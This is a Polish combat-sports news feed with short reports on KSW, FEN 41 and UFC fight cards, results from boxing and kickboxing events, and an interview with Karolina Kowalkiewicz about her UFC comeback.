Romanowski stawia sprawę jasno. Czeka na kolejne wyzwania. – Czekam na propozycje w kategorii średniej. Jestem gotowy stoczyć pojedynek we wrześniu. Wojsław Rysiewski, dajcie mi kogoś z czołówki, a udowodnię swoją wartość – napisał w swoich mediach społecznościowych zawodnik.

 

Fot. Tomasz Romanowski Facebook

Więzienie dla gwiazdy kickboxingu

Badr Hari będzie musiał wrócić na więzienia. Powodem jest seria pobić.

W 2012 roku zawodnik został aresztowany z powodu pobicia biznesmena. Hariego skazano w 2014 roku na 18 miesięcy więzienia oraz 6 kolejnych nadzoru. Karę jednak zwiększono do dwóch lat i dziecięcy miesięcy nadzoru kuratorskiego.

Hari odwołał się do Sądu Najwyższego w Holandii. Rozprawa nie była korzystna. Zawodnik został wezwany przez sąd do powrotu na kolejne sześć miesięcy.

Soldić i Pudzianowski wśród nominowanych

Roberto Soldić i Mariusz Pudzianowski wśród nominowanych do nagród świata MMA – World MMA Awards.

Magazyn „Fighters Only” ogłosił nominacje w świecie MMA. Organizacja KSW znalazła się w gronie „Organizacji roku”.  Wyróżnienia również dla zawodników polskiej federacji. Roberto Soldić w kategorii „Międzynarodowy zawodnik roku”. W gronie nominowanych do „Zaskoczenie roku” znalazł się Mariusz Pudzianowski za nokaut na Michale Materlii.

Głosować można na stronie: https://www.worldmmaawards.com 

 

Fot. Roberto Soldić Facebook

Fury premierem?

Tyson Fury ma kolejne plany. Bokser chce kandydować na premiera Wielkiej Brytanii.

Kariera bokserska „Króla Cyganów” jest niezwykle bogata. Fury jest czołowym bokserem wagi ciężkiej. Nie da się ukryć, że lubi zadziwiać świat. Fury postanowił kandydować na premiera Wielkiej Brytanii. 

Ten plan mistrz świata chce zrealizować w 2030 roku.

 

Fot. Tyson Fury Facebook

Skład Polski na mistrzostwa Europy

Poznaliśmy skład reprezentacji Polski na Mistrzostwa Europy młodzików w boksie, które startują 10 sierpnia w Turcji.

Reprezentacja Polski:

Gabriela Wawszczyk (44kg)

Maria Gorzelanna (48kg)

Oliwia Wasiakowska (52kg)

Antonia Harder (54kg)

Zuzanna Gołębiewska (57kg)

Michalina Kotyra (60kg)

Judyta Andrukajtis (64kg)

Filip Bochenek (40kg)

Oskar Mańka (44kg)

Jakub Wawszczyk (48kg)

Jakub Marcinów (50kg)

Marcel Bogdański (52kg)

Patryk Dudek (54kg)

Jan Januszewski (57kg)

Bartosz Kuroś (63kg)

Igor Kreft (66kg)

Kajetan Bajzert (70kg)

Daniel Murawski (75kg)

Jerzy Armatys (90kg)

Trzymamy kciuki za naszych!

Sulewski przywita w zawodowym debiucie w FEN Rzepeckiego

Damian Rzepecki (2-0, 1 KO, 1 SUB) podejmie Huberta Sulewskiego (3-2-1, 2 KO) podczas gali FEN 41: TAURON Fight Night Mrągowo, która 27 sierpnia odbędzie się w Amfiteatrze. Pojedynek zakontraktowano w limicie kategorii lekkiej. 
Rzepecki na zawodowstwie przebywa od grudnia 2021 roku, kiedy to poddał w premierowej odsłonie Dawida Gabarę. W marcu wygrał w 3. rundzie przez TKO z Vladislavem Bilorusem. Wcześniej dwukrotnie walczył w FEN na zasadach semi-pro – podczas gali FEN 35 zwyciężył z Erykiem Śmiatkiem decyzją sędziów. Rzepecki ma 21 lat i trenuje w klubie TFC Piotrków Trybunalski. Spośród 11 walk semi-pro 8 wygrał i 3 przegrał. W przeszłości zdobył mistrzostwo Polski ADCC w kategorii: średnio zaawansowani.
Sulewski to 23-letni zawodnik z Łomży, który w maju tego roku wygrał przez TKO w 1. rundzie z Mariuszem Michalczukiem. Wcześniej konfrontował się z Dawidem Śmiełowskim i Patrykiem Kaczmarczykiem. W 2019 roku wygrał jednogłośną decyzją sędziów z Filipem Bątkowskim. Sulewski miał już okazję mierzyć się z innym zawodnikiem FEN, Patrykiem Duńskim. W sierpniu 2018 roku sędziowie orzekli w tym pojedynku większościowy remis.

Paczuski z Łasiewickim w końcu staną naprzeciwko siebie w klatce FEN!

Kamil Paczuski (0-0-1) zmierzy się z Karolem Łasiewickim (3-2) podczas gali FEN 41: TAURON Fight Night Mrągowo, która 27 sierpnia odbędzie się w Amfiteatrze. Pojedynek zakontraktowano w limicie do 86 kilogramów.
Kamil ma za sobą jedną zawodową walkę – podczas gali HFO zremisował z Kamilem Janikiem. Kamil to starszy brat Radosława, byłego mistrza FEN w formule K-1. To również współtwórca jednej z najlepszych szkół sztuk walki w Polsce. W roli trenera i sparingpartnera współpracował z wieloma uznanymi zawodnikami, w tym z Arkadiuszem Wrzoskiem, Rafałem Korczakiem i Mateuszem Łazowskim. Doświadczenie w pracy na sali treningowej wraz z wyżej wymienionymi fighterami ma mu pomóc podczas debiutu pod szyldem FEN.
Łasiewicki to z kolei zawodnik reprezentujący barwy klubu Fight Academy Ostrołęka. W 2016 roku zdobył złoty medal Zunifikowanych Mistrzostw Świata Sztuk Walki we włoskim Carrara Fiere. W marcu 2018 roku pewnie pokonał Cezarego Sekleckiego. Do swojego dorobku dorzucił również zwycięstwo w World Amatour K-1 Federation WAK1F pokonując Jacka Gacia, który trenuje w klubie Uniq w Warszawie. Łasiewicki miał okazję walczyć już w FEN – podczas gali z numerem 29. jego przeciwnikiem był Mateusz Kopeć.

Romanowski lepszy w walce wieczoru

Tomasz Romanowski pokonał Andrzeja Grzebyka w walce wieczoru KSW 72. 

Dynamiczna walka, dużo ciosów, walka toczyła się w stójce. Lewy sierp Romanowskiego i Grzebyk padł na deski. Dla zwycięzcy to trzecia wygrana z rzędu w KSW.

W pozostałych walkach Dawid Śmiałowski pokonał Patryka Kaczmarczyka w drugiej rundzie. Brian Hooi lepszy od Michała Pietrzaka. Walka zakończyła się w pierwszej rundzie.

Emilia Czerwińska pokonała jednogłośną decyzją sędzio∑ Sarę lLuzar Smajić, a Omar Sy wygrał z Bartłomiejem Gładkowiczem. Zwycięstwo zapisał na swoim koncie Patryk Surdyn pokonując Gustavo Oliveirę.

Wygrane zanotowali również Yann Liasee i Robert Maciejowski.

Wygrana Millera

Jarrell Miller w formie. Kolejna walka Amerykanina po powrocie na ring i zwycięstwo.

Miller pokonał przez techniczny nokaut w czwartej rundzie Dereka Cardenasa. To drugie zwycięstwo Amerykanina po trzyletniej przerwie. Miller ma kolejne plany i chce stoczyć następną walkę.

Salmimies pierwszą rywalką Shakalovej w obronie pasa mistrzowskiego

Ekaterina Shakalova (7-1,  1 KO, 4 SUB) podejmie Suvi Salmimies (12-5-1, 1 N/C, 3 KO, 2 SUB) podczas gali FEN 41: TAURON Fight Night Mrągowo, która 27 sierpnia odbędzie się w Amfiteatrze. Stawką tego starcia będzie pas mistrzowski FEN w kategorii koguciej, który należy do Ukrainki.
Skahalova to mistrzyni FEN w kategorii koguciej od gali z numerem 38. Ukrainka miała okazję pokazać pełnię swoich umiejętności wygrywając jednogłośnie na punkty z Izabelą Badurek podczas gali FEN 33. Dwa miesiące później pokonała w 2. rundzie z Jamilą Sandorą, którą pokonała duszeniem zza pleców. Wcześniej na polskiej ziemi bez problemu rozprawiła się na punkty z Różą Gumienną. W 2020 roku stoczyła dwa pojedynki i oba wygrała. Pierwszą walkę zwyciężyła przez techniczny nokaut pokonując Zoyę Litvinenko, w drugiej poddała Marinę Stakhalskayę. Ukrainka w przeszłości zdobyła tytuł mistrzyni świata w grapplingu.
Salmimies wygrała dwie ostatnie walki – podczas gali Cage 52 zwyciężyła jednogłośną decyzją sędziów z Mafaldą Carmoną. Wcześniej pokonała również dzięki punktacji arbitrów Maguyą Berchel. Finka w 2018 roku wygrała trzy kolejne pojedynki – w każdym z nich pokonywała rywalki przed czasem. Salmimies spośród 12 zawodowych zwycięstw 5 odniosła przed czasem. 27 sierpnia pretendentka zadebiutuje pod szyldem organizacji.

FEN 41: Filipczak z Kalenikiem dodani do karty walk w Mrągowie

Marcin Filipczak (5-2, 2 KO, 3 SUB) podejmie Piotra Kalenika (9-7, 4 KO, 4 SUB) podczas gali FEN 41, która 27 sierpnia odbędzie się w Amfiteatrze w Mrągowie. Pojedynek zakontraktowano w limicie umownym do 88 kilogramów.
Filipczak trzykrotnie walczył na galach FEN. W debiucie, podczas edycji z numerem 31., wygrał w 21 sekund Saeedem Younesim. Później poddał gilotyną Rafała Kijańczuka. Filipczak podczas zeszłorocznej gali w Ostródzie przegrał większościową decyzją sędziów z Adamem Kowalskim – ten pojedynek został wybrany najlepszym podczas tamtej edycji. W kwietniu Filipczak dopisał piąte zawodowe zwycięstwo do swojego rekordu.
Kalenik w maju tego roku pokonał Patryka Rogóża, z którym w przeszłości mierzył się dwukrotnie – raz wygrał i raz przegrał. Wcześniej mierzył się z zawodnikami organizacji FEN – Wojciechem Januszem i Marcinem Łazarzem. W 2019 roku wygrał przez poddanie gilotyną Aleksandara Joketica, przez tym triumfem, również w premierowej odsłonie, poddał duszeniem zza pleców Nikolaia Boyarczuka. 27 sierpnia Kalenik zadebiutuje w FEN.

Błoński i Chotenovsky powalczą o podbój Mrągowa

Lukas Chotenovsky (6-1, 2 KO, 1 SUB) będzie rywalem Adriana Błońskiego (2-3, 1 SUB) podczas gali FEN 41, która 27 sierpnia odbędzie się w Amfiteatrze w Mrągowie. Pojedynek zakontraktowano w limicie kategorii koguciej.
Błoński to zawodnik trenujący w klubie Arachion Iława pod okiem Dawida Tarasiewicza. Ostatnie dwie walki debiutujący 27 sierpnia w FEN zawodnik wygrał – podczas gali Celtic 26 pokonał jednogłośna decyzja sędziów Damiana Kieresia. Wcześniej poddał w pierwszej rundzie Jakuba Hansbacha. Błoński na zawodowstwie przebywa od 2015 roku.
Chotenovsky swój pierwszy pojedynek wygrał w 2. rundzie przez techniczny nokaut z Martinem Prsalą. Później w podobny sposób rozprawił się z Anatolijem Kuliapinem. W maju tego roku Czech wygrał na pełnym dystansie z Oleksiyem Bondarenko, pół roku wcześniej, również po upływie 15 minut, sędziowie jednogłośnie wypunktowali jego triumf nad Michalem Jancuską. Chotenovsky w listopadzie zadebiutuje pod szyldem FEN.

Znany trener odchodzi

Robert Jocz odszedł z funkcji głównego trenera WCA Fight Team. Jego miejsce zajął Anzor Azhiev.

Jocz to niezwykle znana i ceniona postać w świecie sportów walki. W MMA stoczył 29 walk, z których 21 zakończyło się jego triumfem. Następnie poświęcił się pracy trenerskiej, prowadził m.in. Jana Błachowicza.

Ostatnio Jocz współpracował z WCA Fight Team. Zrezygnował z funkcji trenera głównego. – Dziękujemy trenerze Robert Jocz za wieloletnią współpracę oraz osiągnięte wspólnie sukcesy. Życzymy powodzenia w zdobywaniu kolejnych, wyznaczonych celów – podał WCA Fight Team.

Miejsce Jocza zajął Anzor Azhiev.

 

 

Fot. WCA Fight Team Facebook

FEN 41: Biernat z Żołowskim dodani do karty walk

Paweł Biernat (2-1, 1 KO, 1 SUB) podejmie Karola Żołowskiego (5-0, 5 KO) podczas gali FEN 41, która 27 sierpnia odbędzie się w Amfiteatrze w Mrągowie.

Biernat dwukrotnie walczył w FEN i dwukrotnie wygrywał swoje walki. Podczas gali FEN 29 poddał gilotyną w 1. rundzie Kacpra Miklasza. Rok później, podczas edycji z numerem 35., wygrał przez techniczny nokaut z Damianem Bujkowskim. Reprezentujący barwy MMATadores Katowice i Jenel Fight Club wojownik może pochwalić się pięcioma zwycięstwami w karierze amatorskiej. Biernat ma na rozkładzie Kamila Woszczyńskiego, którego znokautował w premierowej odsłonie. W 1. rundzie skapitulował również Grzegorz Kwaśnik, który odklepał kimurę. Pochodzący z Podkarpacia zawodnik zdobył w przeszłości Puchar Polski juniorów i zaliczył jeden pojedynek zawodowy w formule K-1.

Żołowski to niepokonany zawodowiec, który lubuje się w walkach w stójce. W ostatnim pojedynku zwyciężył w 2. rundzie przez TKO z Patrykiem Dubielą, wcześniej w pokonanym polu zostawił Tomasza Kolcuna. Wojownik z Suwałk poza walkami w MMA rywalizował również w pojedynkach na gołe pięści.

22 medale naszych reprezentantów

Brawo! Podczas Europejskich Igrzysk Akademickich w Łodzi nasi kickbokserzy zdobyli 22 medale.

Polscy zawodnicy rywalizują o medale w Łodzi w Europejskich Igrzyskach Akademickich. Reprezentanci kickboxingu sięgnęli po 22 krążki, w tym pięć złotych, dziesięć srebrnych i siedem brązowych. Na najwyższym stopniu podium stanęli w K-1 Rafał Dobies w wadze -81kg, w Full Contact Olena Shydlovska -56kg, zaś w Kick Light Natalia Zakrzewska -65kg, Paulina Stenka +65kg i Serhii Babenko +84kg.

W Kick Light 65kg doszło do pojedynku dwóch Polek. Zakrzewska pokonała Gabrielę Sztukowską. Podobnie było w wadze +65kg, gdzie Stenka okazała się lepsza od Pauliny Badowskiej. Z kolei Babenko wygrał z Jeanem Honorickiem Micho.

W pointfightingu w finale 65kg Julia Setla przegrała z Isabelle Whitmore. Decydujący bój w Full contact 56kg odbył się pomiędzy dwiema naszymi reprezentantkami. Weronika Szymczak przegrała z Oleną Shydlovską. W K-1 81kg Rafał Dobies zwyciężył Damiana Piętonia. Finałowe walki w Full contact przegrali Oskar Zawiślak (71kg), Maciej Michalski (81kg), Mateusz Kupijaj (67kg). Srebrne medale w K-1 dla Dominiki Ziółek (56kg) i Pauliny Grzegórskiej (60kg).

 

 

Walka Surdu vs Szczepaniak na KSW 73

20 sierpnia na warszawskim Torwarze odbędzie się gala KSW 73. Zmierzą się na niej Ion Surdu i Artur Szczepaniak.

27-letni zawodnik z Mołdawii może pochwalić się 11 zwycięstwami. Poniósł trzy porażki. Ostatnio Surdu pokonał Kacpra Koziorzebskiego na KSW 60. Wcześniej przegrał z Tomaszem Romanowski (KSW 55).

Szczepaniak ma na koncie 8 zwycięstw i 1 porażkę. Polak może pochwalić się 4 triumfami z rzędu. Ostatnio pokonał Jivko Stoimenova, a miało to miejsce na gali KSW 69.

Podczas wydarzenia na warszawskim Torwarze zobaczymy pojedynek Marcina Wrzoska i Tomasza Sahary czy Daniela Rutkowskiego i Loma-Aliego Eskieva.

 

Fot. materiały promocyjne

Startują Europejskie Igrzyska w Łodzi

17 lipca rozpoczną się Europejskie Igrzyska Akademickie w Łodzi. Trzymamy kciuki za naszych reprezentantów.

Zmagania w Łodzi rozpoczną się 17 lipca i potrwają dwa tygodnie. – Przez dwa tygodnie około 6 tysięcy sportowców weźmie udział w 20 dyscyplinach rozgrywanych w 15 obiektach – informują organizatorzy.

Na starcie zobaczymy naszą kadrę w kickboxingu. Rywalizację zaplanowani w czterech formułach – K-1, full contact, pointfighting oraz kick light.

W igrzyskach zaprezentują się przedstawiciele innych sportów walki: judo, karate, taekwondo.

 

Fot. materiały promocyjne

Powrót Wildera?

Możliwe, że jesienią zobaczymy w ringu Deontaya Wildera. Były mistrz wagi ciężkiej miałby zmierzyć się z pogromcą Adama Kownackiego.

„Bronze Bimber” przez lata zachwycał i nie było na niego mocnych. Trylogia z Tysonem Fury’m dostarczyła wielu emocji. Pierwszy pojedynek zakończył się remisem. Kolejne dwa rozstrzygnęły się na korzyść Fury’ego, Wilder spadł z tronu.

36-letni bokser ostatni raz zaprezentował się w październiku 2021 roku. Po dwunastu miesiącach możliwe, że stoczy kolejną walkę. Rywalem Wildera miałby być Robert Helenius. Ten z kolei ostatnio dwukrotnie pokonał Adama Kownackiego.

 

Fot. Deontay Wilder Facebook

Miller zmierzy się z Cardenasem

Kolejna walka Jarrella Millera. Amerykanin zmierzy się z Derekiem Cardenasem.

23 czerwca Miller powrócił na ring po ponad 3,5 rocznej przerwie. Amerykanin pauzował z powodu stosowania aż trzech zakazanych środków. W czerwcu 2019 roku miał spotkać się z Anthonym Joshuą, ale do pojedynku nie doszło. 

Pięściarz musiał odpocząć i odpokutować swoje postępowanie, ale wrócił. Kilka tygodni temu Miller wniósł na wagę blisko 155 kilogramów. Jego rywal ważył ponad 138 kilogramów. Miller pokonał Ariela Estebana Bracamonte.

Amerykanin podkręca tempo. Nie zwleka, lecz szykuje się już do kolejnego starcia. 23 lipca Miller zmierzy się z Derekiem Cardenasem. Ten nie ma imponującego rekordu, a ostatnie trzy walki przegrał.

Spotkanie twarzą w twarz Błachowicza i Usmana

Podczas gali UFC 276 doszło do spotkania twarzą w twarz Jana Błachowicza i Kamaru Usmana.

Panowie rywalizują w innych kategoriach. Błachowicz w półciężkiej, Nigeryjczyk – w półśredniej. Swego czasu Usman stwierdził, że byłby w stanie pokonać Polaka.

Podczas gali UFC 276 panowie spotkali się i spojrzeli głęboko w oczy. Po wydarzeniu skomentowali zdarzenie w mediach społecznościowych. – Nic, z czym nie mogę sobie poradzić, ale najpierw Anglik – napisał Usman, który teraz zmierzy się z Leonem Edwardsem.

Reakcja Błachowicza? – Mówisz, że ludzie nazywają cię „Nigeryjskim Koszarem”. Potworem. Dobrze. Poluję na potwory. Nie ma znaczenia jak są przerażające – zaznaczył Polak.

Fot. Jan Błachowicz Twitter

Maciejowski i Kaszuba otworzą galę KSW 72

23 lipca w Kielcach odbędzie się gala KSW 72. Wydarzenie otworzy pojedynek Roberta Maciejowskiego i Arkadiusza Kaszuby.

29-letni Maciejowski ostatni raz rywalizował w styczniu. Na gali KSW 66 przegrał z Krystianem Kaszubowskim. Bilans Maciejowskiego to pięć wygranych i cztery porażki.

Z kolei Kaszuba zadebiutował w KSW w lutym br. W pierwszej rundzie przegrał z Borysem Borkowskim. Bilans zawodnika to trzy zwycięstwa i porażka.

W main evencie gali w Kielcach zobaczymy Tomasza Romanowskiego i Andrzeja Grzebyka.

Kroczy od zwycięstwa do zwycięstwa

Mateusz Gamrot kroczy od zwycięstwa do zwycięstwa w UFC. Podczas gali w LAS VEGAS pokonał Armani Tsarukyana.

Polak wygląda znakomicie w amerykańskiej organizacji. Kolejna walka i zwycięstwo na koncie „Gamera”. Podczas gali UFC on ESPN 38 Polak jednogłośnie pokonała Armani Tsarukyana. – Dziękuje wszystkim za wsparcie i wiarę – podkreślał nasz zawodnik.

Wcześniej Gamrot przed czasem pokonał Diego Ferreirę, Jeremy’ego Stephensa, Scotta Holtzmana. Polak przegrał jedynie z Guramem Kutateladze.

W całej karierze Gamrot wygrał 21 walk, tylko jedną przegrał.

 

Fot. Mateusz Gamrot Facebook

Wywiad z Karoliną Kowalkiewicz po UFC

„Jestem dumna, że udało mi się wrócić na zwycięskie tory – wywiad z Karoliną Kowalkiewicz”

Karolina Kowalkiewicz-Zaborowska (13-7-0) ostatni raz w oktagonie stanęła ponad rok temu. Zmierzyła się z Jessicą Penne (13-5) i przegrała. Jednak to już przeszłość, w ostatni weekend nie tylko pokonała swoją przeciwniczkę, ale po raz pierwszy w swojej karierze zakończyła walkę przed czasem.

Udało nam się chwilę porozmawiać z „Polish Princess” o jej intensywnych kilku latach oraz planach na przyszłość.

„…ZAKŁADAŁAM, ŻE BYĆ MOŻE TO BĘDZIE MOJA OSTATNIA WALKA I MOŻE SIĘ TAK ZDARZYĆ, ŻE PO WALCE ZDEJMĘ RĘKAWICE, I ZOSTAWIĘ JE W OKTAGONIE…”

Ostatni raz przeprowadzaliśmy wywiad ponad 2 lata temu. W tym czasie w Twoim życiu dużo się działo. Z czego jesteś najbardziej dumna?
W ciągu ostatnich dwóch lat sporo, sporo zmian w moim życiu. Wyszłam za mąż, zostałam patronką żeńskiej grupy stowarzyszenia MMA Polska, razem z moim mężem założyliśmy fundację K2 Zaborowscy, która pomaga dzieciakom uprawiać sport. Wspieramy młode talenty, ale też zachęcamy do sportu dzieciaki, które nigdy nie miały styczności ze sportem. Pomagamy im znaleźc pasję i sport odpowiedni dla każdego. W moim życiu sport odegrał ogromne znaczenie, miał ogromny wpływ na moje życie i mnie ukształtował. Chciałabym żeby młodzi ludzie odnaleźli w tym sporcie pasję i żeby sport dał im siłę nie tylko fizyczną, ale przede wszystkim mentalną. Powróciłam także do oktagonu i udało mi się odnieść cenne zwycięstwo. W ostatnim czasie bardzo dużo osób mnie skreślało i wróżyło mi koniec kariery, a wróciłam z takim mocnym przytupem. Jestem chyba w najlepszej życiowej formie. Jestem najbardziej dumna z tego, że pomimo wszystkich przeciwności, udało mi się wrócić na zwycięskie tory.

Jakiś czas temu ogłosiłaś, że wspólnie z Joanną Jędrzejczyk ćwiczycie, a później wyjechałaś do Stanów na przygotowania. Jak oceniasz tę współpracę?
Asia mi pomagała w przygotowaniach do ostatniej walki. Przyjechała na kilka dni do mnie do Łodzi, a potem spotkałyśmy się na wspólne treningi w Warszawie. Chciałam wyjechać do Stanów, do ATT, już w zeszłym roku, ale niestety pandemia i sprawy papierologiczne trochę mi pokrzyżowały plany, bo miałam bardzo mało czasu na przygotowania i nie zdążyłabym zorganizować całego wyjazdu. Teraz to się udało i jestem bardzo szczęśliwa, bo to była najlepsza decyzja jaką mogłam podjąć. Dużo osób pyta, czemu nie zrobiłam tego wcześniej. Nic nie dzieje się bez przyczyny i w życiu na wszystko przychodzi pora. Moim zdaniem teraz właśnie to był ten czas.

Możesz opowiedzieć trochę więcej o treningach w ATT?
W ATT przyjęli mnie naprawdę super. Pierwszy tydzień był dla mnie bardzo ciężki zarówno fizycznie, jak i emocjonalnie, ale kiedy sie przyzwyczaiłam, kiedy się zaaklimatyzowałam wszystko zaczęło się super układać. Moim nowym head coach’em został trener Parrumpa, trenerem od stójki trener Anderson i bardzo się cieszę na współpracę z nimi. Są to wspaniali ludzie, mega profesjonaliści. Nie mogę także nie wspomnieć o innych trenerach i zawodnikach. Nie mogłabym sobie wymarzyć lepszego miejsca do treningu. I naprawdę czuję się tam jak w domu. Floryda stała się moim drugim domem.

W trakcie wyjazdu ogłosiłaś swoją kolejną walkę. Po niecałym roku miałaś wrócić do oktagonu. Jak się czułaś i, co myślałaś o przeciwniczce?
Moja walka została ogłoszona tak naprawdę tydzień przed datą gali, ale ja o tym pojedynku wiedziałam już dużo wcześniej. Wyjeżdżając do ATT wyjeżdżałam przygotowywać się do tej walki. Z Felice Herrig miałam okazję walczyć 4 lata temu i wtedy wygrałam niejednogłośną decyzją. Teraz powiedziałam sobie, że nie pozostawię decyzji w rękach sędziów. Po prostu chciałam zakończyć walkę przed czasem i mi się udało. Różne emocje towarzyszyły mi przed powrotem do oktagonu po takiej przerwie, po takiej passie przegranych, ale byłam bardzo zdeterminowana. Bardzo chciałam wygrać. Poświęciłam bardzo dużo i się udało. Jestem bardzo bardzo szczęśliwa.

Jeszcze raz gratuluję zwycięstwa, to była świetna walka i do początku miałaś nad nią kontrolę. Jak ją oceniasz?
Z samego przebiegu walki jestem bardzo zadowolona. Jestem naprawdę dumna z siebie. Od samego początku kontrolowałam walkę, udało mi się w 100% wykonać game plan. Oczywiście tę walkę oglądałam już kilka razy i widzę błędy, nad którymi muszę popracować, ale jednak jestem bardziej z siebie zadowolona niż niezadowolona. Jak można być niezadowolonym, kiedy wygrywa sie walkę UFC pierwszy raz przed czasem przez poddanie?

W trakcie naszej ostatniej rozmowy powiedziałaś, że chcesz wrócić na zwycięską ścieżkę i trafić do top 3. Jakie masz teraz plany?
Zakładałam, że być może to będzie moja ostatnia walka i może sie tak zdarzyć, że po walce zdejmę rękawice, i zostawię je w oktagonie. Na szczęście scenariusz był bardziej optymistyczny i chciałabym jeszcze powalczyć przez 2 lata. Chciałabym dać z siebie wszystko i wykorzystać ten okres maksymalnie, ale zwłaszcza teraz nie można być niczego pewnym. Mam plan A, mam plan B, także po prostu zamierzam cieszyć się życiem i realizowac swoje pasje. Chciałabym jednak do końca roku powrócić do oktagonu UFC.

Z niecierpliwością czekamy na kolejną walkę Karoliny, a już za kilka dni kolejna zawodniczka wspierana przez Monster Energy pojawi się w oktagonie. Po ponad 2 latach Joanna Jędrzejczyk stanie do rewanżowego starcia z Weili Zhang.

źródło: Monster Energy

Walka Kownackiego 30 lipca

Adam Kownacki wejdzie na ring 30 lipca. Na gali Premier Boxing Champions Polak zmierzy się z Alim Demirezenem.

Kownacki przegrał dwa ostatnie pojedynki. „Babyface” dwukrotnie musiał uznać wyższość Roberta Heleniusa. Polak na zwycięstwo czeka od sierpnia 2019 roku, kiedy pokonał Chrisa Aureolę.

30 lipca Kownacki zmierzy się w Barclays Center z Alim Demirezenem. Turek wygrał pięć ostatnich walk.

Fot. Adam Kownacki Facebook

Różalski zmierzy się z Zimmermanem w Toruniu

Ciekawe zestawienie podczas gali KSW 71 w Toruniu. Marcin Różalski zmierzy się z Errolem Zimmermanem.

18 czerwca dojdzie w Toruniu do niezwykle interesującego pojedynku. W starciu na zasadach K1 spotkają się Marcin Różalski i Errol Zimmerman. 

Polak jest byłym mistrzem wagi ciężkiej KSW. Ma za sobą wspaniałe lata w kickboxingu i mury thai. „Różal” zdobywał tytuły mistrza świata ISKA i WKA w formule K1. Zimmerman to jedna z legend kickboxingu. Może pochwalić się triumfem w turniejach World Grand Prix European Championship oraz Superkombat Heavyweight.

Podczas gali KSW 71 zobaczymy starcie o pas kategorii lekkiej. Zmierzą się w nim Marian Ziółkowski i Sebastian Rajewski. Dojdzie do walki Artura Szpilki z Sergiejem Radczenko czy też Borysa Mańkowskiego z Danielem Torresem.

Fot. KSW

Czerkaszyn zadebiutuje w USA

18 czerwca Fiodor Czerkaszyn zadebiutuje w USA. Bokser zmierzy się z Erikiem Monnem.

Przed 26-latkiem kolejne wyzwanie w karierze. – Pojedynek z nim jest niezbędnym pierwszym krokiem, jaki muszę zrobić w USA – przekazał Czerkaszyn. – Obiecuję, że dam pozytywne emocje w tym trudnym czasie. Będę boksował dla Ukrainy i dla Polski , którzy dali mi wszystko, co mam teraz w karierze. Pozdrawiam serdecznie i do zobaczenia niedługo – dodał.

W walce wieczoru gali w Houston zobaczymy Macieja Sulęckiego. Polak powalczy o pas WBC z Jermallem Charlo.

Fot. Fiodor Czerkaszyn Facebook

Sulęcki czeka na walkę o pas

18 czerwca Maciej Sulęcki stanie przed szansą na zdobycie pasa mistrzowskiego w kategorii średniej. Jego rywalem będzie czempion organizacji WBC Jermall Charlo.

Odliczamy dni do tej walki. Dla Sulęckiego będzie to druga szansa na sięgnięcie po pas. W czerwcu 2019 roku popularny „Striczu” przegrał starcie o tytuł WBO z Demetriusem Andrade.

Od tamtego czasu Polak wygrał dwie walki. Sulecki przeszedł długą drogę do starcia o pas. Problemy ze zdrowiem, rozstanie z trenerem, a i pojawiły się obawy, że „Striczu” zostanie wykreślony z rankingu WBC. Polak nie stanął do rywalizacji z Jaime Munguią.

18 czerwca w Houston Sulęcki zmierzy się z Charlo. Ten jeszcze nigdy nie przegrał.

Fot. Maciej „Striczu” Sulecki Facebook

Kiedy wielki rewanż?

Prawdopodobnie 6 sierpnia dojdzie do rewanżowej walki Aleksandra Usyka z Anthony’m Joshuą.

Światowa sytuacja i wojna na Ukrainie sprawiły, że wielki pojedynek przesunął się w czasie. Planowany był w maju, jednak rosyjska agresja sprawiła, że w Usyk został, aby bronić swojej ojczyzny.

Teraz pojawia się kolejny termin. Mówiło się o 23 lipca, jednak finalizacja umowy przedłuża się. Możliwe, że starcie odbędzie się 6 sierpnia. Miejscem rywalizacji ma być Arabia Saudyjska.

We wrześniu 2021 Usyk pokonał Joshuę na punkty i zdobył pasy WBO, IBF, WBA oraz IBO.

Pudzianowski znokautował Materlę

Mariusz Pudzianowski znokautował Michała Materlę podczas gali KSW 70. To siedemnasta wygrana Pudziana w karierze.

Starcie od początku było intensywne. Pudzianowski zdeterminowany ruszył na rywala. Prawy podbródkowy powalił Materlę na ziemię Zawodnik był nieprzytomny, do klatki wkroczyli medycy. Starcie trwało niecałe dwie minuty. To piąta wygrana Pudziana z rzędu.

Podczas KSW 70 zaprezentował się Daniel Omielańczuk, który przegrał przez poddanie z Ricardo Praselem. Ivan Erslan w pierwszej rundzie odprawił Rafała Kijańczuka.

Marek Samociuk pokonał Iza Ugonoha. Pojedynek zakończył się w pierwszej rundzie. Decyzją sędziów Bartosz Leśko pokonał Damiana Piwowarczyka. Radosław Paczuski wygrał z Jasonem Wilnisem, zaś Anita Berus z Robertą Zocco. Albert Odzimkowski pokonał Tommy’ego Quinnę, a Francisco Barrio poddał w drugiej rundzie Łukasza Rajewskiego.

Gamrot w walce wieczoru

25 czerwca Mateusza Gamrot stoczy kolejną walkę w UFC. Polski zawodnik wystąpi w pojedynku wieczoru!

– Walka wieczoru UFC  i mój ulubiony dystans walki  5 x 5 min – podał „Gamer” w mediach społecznościowych. 31-letni zawodnik podczas gali UFC Apex w Las Vegas zmierzy się z Armanem Tsarukyanem. Starcie odbędzie się 25 czerwca.

Dla Gamrota będzie to piąty występ w UFC. Pierwsze z Guramem Kutateladze przegrał, jednak trzy kolejne wygrał. Co istotne – wszystkie zwycięstwa odniósł przed czasem.

Rywal Polaka – Tsarukyan wygrał ostatnie pięć walk. Ostatnio przed czasem pokonał Joela Alvareza.

Fot. Mateusz Gamrot Facebook

Durkacz awansował do ćwierćfinału

Mistrzostwa Europy w Erywaniu w boksie. Damian Durkacz (67kg) awansował do ćwierćfinału.

Polski bokser pokonał Giacomo Micheliego 5:0. Sędziowie punktowali 30-27, 29-28, 29-28, 29-28, 29-28. W walce o podium mistrzostw Europy Durkacz zmierzy się z Alexandru Paraschivem z Mołdawii.

W 1/8 finał Oskar Safaryan (+92kg) przegrał z Deliciousem Orie. Porażkę poniósł również Mateusz Bereźnicki (92kg). Polak ambitnie walczył z Lewisem Williamsem, jednak przegrał 2:3.

Materla czy Pudzianowski?

Odpowiedź na to pytanie poznamy podczas gali KSW 70, która już w najbliższą sobotę 28 maja odbędzie się w łódzkiej Atlas Arenie.

O starciu Michała Materii z Mariuszem Pudzianowskim mówi się jako o pojedynku legend. Łącznie stoczyli 49 walk w KSW. Ostatnio Materla przed czasem wypunktował Jasona Radcliffe’a. Pojedynek odbył się podczas KSW 66. Z kolei Pudzianowski potrzebował tylko 18 sekund, aby odprawić Sergine’a Ousmane Dia. Co warto dodać, Pudzian ma serię czterech zwycięstw z rzędu. Czy Materla ją przerwie? 28 maja w Łodzi będzie gorąco!

